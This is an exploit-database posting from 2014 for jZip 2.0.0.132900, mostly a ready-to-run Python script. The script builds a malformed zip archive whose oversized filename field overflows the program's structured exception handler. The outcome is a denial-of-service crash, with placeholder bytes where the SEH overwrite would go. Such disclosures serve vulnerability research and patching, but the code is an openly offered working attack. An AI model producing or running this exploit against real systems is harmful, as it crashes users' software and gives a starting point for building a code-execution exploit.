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Jzip 2.0.0.132900 Buffer Overflow

Jzip 2.0.0.132900 Buffer Overflow
Posted Apr 17, 2014
Authored by motaz reda

Jzip version 2.0.0.132900 structured exception handler (SEH) unicode buffer overflow denial of service exploit.

tags | exploit, denial of service, overflow
MD5 | 72bc8fd9c38d1ec32fe4392585e83d0c

Jzip 2.0.0.132900 Buffer Overflow

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#!/usr/bin/python
######################################################
# Exploit title: seh unicode buffer overflow (DOS)
# Date: 16/04/2014
# Exploit Author: motaz reda [motazkhodair[at]gmail.com]
# Software Link : http://www.jzip.com/
# Version: jZip v2.0.0.132900
# Tested On: Windows 7 ultimate
########################################################

import sys, os

filename = "vuln.zip"


buffer = "\x50\x4B\x03\x04\x14\x00\x00"
buffer += "\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
buffer += "\x00\x00\x00\x00\x00\x00\x00\x00"
buffer += "\xe4\x0f"
buffer += "\x00\x00\x00"

eo = "\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00"
eo += "\x12\x10\x00\x00"
eo += "\x02\x10\x00\x00"
eo += "\x00\x00"

cdf = "\x50\x4B\x01\x02\x14\x00\x14"
cdf += "\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
cdf += "\x00\x00\x00\x00\x00\x00\x00\x00\x00"
cdf += "\xe4\x0f"
cdf += "\x00\x00\x00\x00\x00\x00\x01\x00"
cdf += "\x24\x00\x00\x00\x00\x00\x00\x00"

payload = "A" * 862
payload += "\x42\x42" # NSEH
payload += "\x42\x42" # SEH
payload += "D" * 3198
payload += ".txt"


file = open(filename, "w")

zipfile = buffer + payload + cdf + payload + eo

file.write(zipfile)
file.close()

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